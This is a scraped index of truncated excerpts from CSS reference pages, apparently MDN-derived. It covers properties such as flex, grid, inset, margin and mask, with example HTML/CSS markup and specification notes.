column-rule - CSS: Cascading Style Sheets
</p> css .content-box { padding: 0.3em;
background: #ff7; column-count: 3; column-rule: inset 2px #33f; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule' in that specification.
<display-inside> - CSS: Cascading Style Sheets
html <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> css .box {
background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px;
background-color: white; border:1px solid black; padding: 10px; } result specifications specification status css display module level 3the definition of 'display-inside' in that specification.
<easing-function> - CSS: Cascading Style Sheets
<option>ease-out</option> <option>cubic-bezier(0.1, -0.6, 0.2, 0)</option> <option>cubic-bezier(0, 1.1, 0.8, 4)</option> <option>steps(5, end)</option> <option>steps(3, start)</option> <option>steps(4)</option> </select> </li> </ul> css body > div { position: relative; height: 100px; } div > div { position: absolute; width: 50px; height: 50px;
background-color: blue;
background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem ...
<filter-function> - CSS: Cascading Style Sheets
on>drop-shadow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px;
background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.querysel...
fit-content() - CSS: Cascading Style Sheets
</div> <div>flexible item</div> </div> css #container { display: grid; grid-template-columns: fit-content(300px) fit-content(300px) 1fr; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%;
background-color: #8cffa0; padding: 10px; } #container > div {
background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css box sizing module level 3the definition of 'fit-content()' in that specification.
flex-basis - CSS: Cascading Style Sheets
is test</li> <li class="flex flex3">3: flex-basis test</li> <li class="flex flex4">4: flex-basis test</li> <li class="flex flex5">5: flex-basis test</li> </ul> <ul class="container"> <li class="flex flex6">6: flex-basis test</li> </ul> css .container { font-family: arial, sans-serif; margin: 0; padding: 0; list-style-type: none; display: flex; flex-wrap: wrap; } .flex {
background: #6ab6d8; padding: 10px; margin-bottom: 50px; border: 3px solid #2e86bb; color: white; font-size: 14px; text-align: center; position: relative; } .flex:after { position: absolute; z-index: 1; left: 0; top: 100%; margin-top: 10px; width: 100%; color: #333; font-size: 12px; } .flex1 { flex-basis: auto; } .flex1:after { content: 'auto'; } .flex2 { flex-basis: ...
flex-direction - CSS: Cascading Style Sheets
planations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="
background-color:red;">a</div> <div class="box" style="
background-color:lightblue;">b</div> <div class="box" style="
background-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="content1"> <div class="box1" style="
background-color:red;">a</div> <div class="box1" style="
background-color:lightblue;">b</div> <div class="box1" style="
background-color:yellow;">c</div> </div> css #...
flex-grow - CSS: Cascading Style Sheets
d and e are flex-grow:2 .</h5> <div id="content"> <div class="box" style="
background-color:red;">a</div> <div class="box" style="
background-color:lightblue;">b</div> <div class="box" style="
background-color:yellow;">c</div> <div class="box1" style="
background-color:brown;">d</div> <div class="box1" style="
background-color:lightgreen;">e</div> <div class="box" style="
background-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-arou...
flex-shrink - CSS: Cascading Style Sheets
d and e have flex-shrink:2 set</p> <p>the width of d and e is less than the others.</p> <div id="content"> <div class="box" style="
background-color:red;">a</div> <div class="box" style="
background-color:lightblue;">b</div> <div class="box" style="
background-color:yellow;">c</div> <div class="box1" style="
background-color:brown;">d</div> <div class="box1" style="
background-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-basis: 120px; border: 3px solid rgba(0,0,0,.2)...
flex-wrap - CSS: Cascading Style Sheets
for flex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* common styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red {
background: orangered; } .green {
background: yellowgreen; } .blue {
background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout mod...
flex - CSS: Cascading Style Sheets
auto">auto</div> <div class="item none">none</div> </div> <div class="flex-container"> <div class="item initial">initial</div> <div class="item none">none</div> <div class="item none">none</div> </div> <div class="flex-container"> <div class="item four">4</div> <div class="item two">2</div> <div class="item one">1</div> </div> * { box-sizing: border-box; } .flex-container {
background-color: #f4f7f8; resize: horizontal; overflow: hidden; display: flex; margin: 1em; } .item { margin: 1em; padding: 0.5em; width: 110px; min-width: 0;
background-color: #1b5385; color: white; font-family: monospace; font-size: 13px; } .initial { flex: initial; } .auto { flex: auto; } .none { flex: none; } .four { flex: 4; } .two { flex: 2; } .one { flex: 1...
float - CSS: Cascading Style Sheets
phasellus feugiat est vel leo finibus congue.</p> </section> css section { border: 1px solid blue; width: 100%; float: left; } div { margin: 5px; width: 50px; height: 150px; } .left { float: left;
background: pink; } .right { float: right;
background: cyan; } result clearing floats sometimes you may want to force an item to move below any floated elements.
grid-area - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid areas html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1fr) / 50px 100px; } #item1 {
background-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 {
background-color: yellow; } #item3 {
background-color: blue; } result specifications specification status comment css grid layoutthe definition of 'grid-area' in that specification.
grid-auto-columns - CSS: Cascading Style Sheets
th> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid column size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { height: 100px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-columns: 200px; } #grid > div {
background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-columns' in that specification.
grid-auto-flow - CSS: Cascading Style Sheets
ption value="column">column</option> <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changegridautoflow()"> <label for="dense">dense</label> css #grid { height: 200px; width: 200px; display: grid; grid-gap: 10px; grid-template: repeat(4, 1fr) / repeat(2, 1fr); grid-auto-flow: column; /* or 'row', 'row dense', 'column dense' */ } #item1 {
background-color: lime; grid-row-start: 3; } #item2 {
background-color: yellow; } #item3 {
background-color: blue; } #item4 { grid-column-start: 2;
background-color: red; } #item5 {
background-color: aqua; } function changegridautoflow() { var grid = document.getelementbyid("grid"); var direction = document.getelementbyid("direction"); var dense = document.getelementbyid("dense"); v...
grid-auto-rows - CSS: Cascading Style Sheets
le-breadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid row size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { width: 200px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-rows: 100px; } #grid > div {
background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-rows' in that specification.
grid-column-end - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-end' i...
grid-column-start - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-start'...
grid-column - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid column size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1fr); grid-template-rows: 100px; } #item1 {
background-color: lime; } #item2 {
background-color: yellow; grid-column: 2 / 4; } #item3 {
background-color: blue; grid-column: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-column' in that specification.
grid-row-end - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-end' in t...
grid-row-start - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-start' in...
grid-row - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid row size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1fr); } #item1 {
background-color: lime; } #item2 {
background-color: yellow; grid-row: 2 / 4; } #item3 {
background-color: blue; grid-row: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-row' in that specification.
grid-template-areas - CSS: Cascading Style Sheets
ge"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head;
background-color: #8ca0ff; } #page > nav { grid-area: nav;
background-color: #ffa08c; } #page > main { grid-area: main;
background-color: #ffff64; } #page > footer { grid-area: foot;
background-color: #8cffa0; } result specifications specification status comment css grid layoutthe definition of 'grid-template-areas' in that specification.
grid-template-columns - CSS: Cascading Style Sheets
ontent | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid column sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; } #areaa {
background-color: lime; } #areab {
background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-columns' in that specification.
grid-template-rows - CSS: Cascading Style Sheets
ax-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid row sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; height: 100px; grid-template-rows: 30px 1fr; } #areaa {
background-color: lime; } #areab {
background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-rows' in that specification.
grid-template - CSS: Cascading Style Sheets
max-content | autowhere <length-percentage> = <length> | <percentage> examples defining a grid template css #page { display: grid; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] [main-left] "nav main" 1fr [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } header {
background-color: lime; grid-area: head; } nav {
background-color: lightblue; grid-area: nav; } main {
background-color: yellow; grid-area: main; } footer {
background-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification st...
grid - CSS: Cascading Style Sheets
/ <'grid-template-columns'> examples creating a grid layout html <div id="container"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div {
background-color: #8ca0ff; width: 50px; height: 50px; } result specifications specification status comment css grid layoutthe definition of 'grid' in that specification.
inline-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
inset-block-end - CSS: Cascading Style Sheets
finition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in that specification.
inset-block-start - CSS: Cascading Style Sheets
nition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px;
background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that specification.
inset-block - CSS: Cascading Style Sheets
l valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in that specification.
inset-inline-end - CSS: Cascading Style Sheets
efinition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-end' in that specification.
inset-inline-start - CSS: Cascading Style Sheets
nition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-start' in that specification.
inset-inline - CSS: Cascading Style Sheets
l valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in that specification.
inset - CSS: Cascading Style Sheets
valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,4} examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div {
background-color: yellow; width: 150px; height: 120px; position: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset' in that specification.
isolation - CSS: Cascading Style Sheets
t applies to container elements, graphics elements, and graphics referencing elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | isolate examples forcing a new stacking context for an element html <div id="b" class="a"> <div id="d"> <div class="a c">auto</div> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a {
background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compositing and blending level 1the definition of 'isolation' in that specification.
justify-content - CSS: Cascading Style Sheets
ight ]where <content-distribution> = space-between | space-around | space-evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples setting flex item distribution css #container { display: flex; justify-content: space-between; /* can be changed in the live sample */ } #container > div { width: 100px; height: 100px;
background: linear-gradient(-45deg, #788cff, #b4c8ff); } html <div id="container"> <div></div> <div></div> <div></div> </div> <select id="justifycontent"> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="center">center</option> <option value="left">left</option>...
justify-items - CSS: Cascading Style Sheets
html <article class="container" tabindex="0"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article {
background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } article:hover, article:focus { justify-items: center; } article span {
background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } resul...
justify-self - CSS: Cascading Style Sheets
html <article class="container"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article {
background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } span:nth-child(2) { justify-self: start; } span:nth-child(3) { justify-self: center; } span:nth-child(4) { justify-self: end; } article span {
background-color: black; color: white; margin: 1px; text-align: center; } article, span { ...
<length> - CSS: Cascading Style Sheets
html <div class="outer"> <div class="input-container"> <label>enter width:</label> <input type="text" id="length"> </div> <div class="inner"> </div> </div> <div class="results"> </div> css html { font-family: sans-serif; font-weight: bold; box-sizing: border-box; } .outer { width: 100%; height: 50px;
background-color: #eee; position: relative; } .inner { height: 50px;
background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); } .result { height: 20px;
background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5);
background-color: orange; display: flex...
margin-block-end - CSS: Cascading Style Sheets
nition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
margin-block-start - CSS: Cascading Style Sheets
tion initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specification.
margin-block - CSS: Cascading Style Sheets
value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
margin-bottom - CSS: Cascading Style Sheets
x2">box one's negative margin pulls me up</div> </div> css css for divs to set margin-bottom and height .box0 { margin-bottom:1em; height:3em; } .box1 { margin-bottom:-1.5em; height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container {
background-color:orange; width:320px; border:1px solid black; } div { width:320px;
background-color:gold; } result specifications specification status comment css basic box modelthe definition of 'margin-bottom' in that specification.
margin-inline-end - CSS: Cascading Style Sheets
ition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-end' in that specification.
margin-inline-start - CSS: Cascading Style Sheets
ion initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specification.
margin-inline - CSS: Cascading Style Sheets
alue0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
margin-trim - CSS: Cascading Style Sheets
uted valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for this property, it will probably work like so: when you've got a container with some inline children and you want to put a margin between each child but not have it interfere with the spacing at the end of the row, you might do something like this: article {
background-color: red; margin: 20px; padding: 20px; display: inline-block; } article > span {
background-color: black; color: white; text-align: center; padding: 10px; margin-right: 20px; } the problem here is that you'd end up with 20px too much spacing at the right of the row, so you'd maybe do this to fix it: span:last-child { margin-right: 0; } it is a pain having to write another ...
margin - CSS: Cascading Style Sheets
formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">this element is centered.</div> <div class="outside">this element is positioned outside of its container.</div> css .center { margin: auto;
background: lime; width: 66%; } .outside { margin: 3rem 0 0 -3rem;
background: cyan; width: 66%; } more examples margin: 5%; /* all sides: 5% margin */ margin: 10px; /* all sides: 10px margin */ margin: 1.6em 20px; /* top and bottom: 1.6em margin */ /* left and right: 20px margin */ margin: 10px 3% -1em; /* top: ...
mask-border - CSS: Cascading Style Sheets
div { width: 200px;
background-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ ...
mask-clip - CSS: Cascading Style Sheets
e defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px;
background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> ...
mask-composite - CSS: Cascading Style Sheets
initial valueaddapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px;
background-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option val...
mask-image - CSS: Cascading Style Sheets
gth-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px;
background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specification.
mask-mode - CSS: Cascading Style Sheets
formal definition initial valuematch-sourceapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px;
background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode =...
mask-origin - CSS: Cascading Style Sheets
s elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue;
background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option va...
mask-repeat - CSS: Cascading Style Sheets
; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueconsists of two keywords, one per dimensionanimation typediscrete formal syntax <repeat-style>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask css #masked { width: 250px; height: 250px;
background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: repeat; /* can be changed in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> ...
mask-size - CSS: Cascading Style Sheets
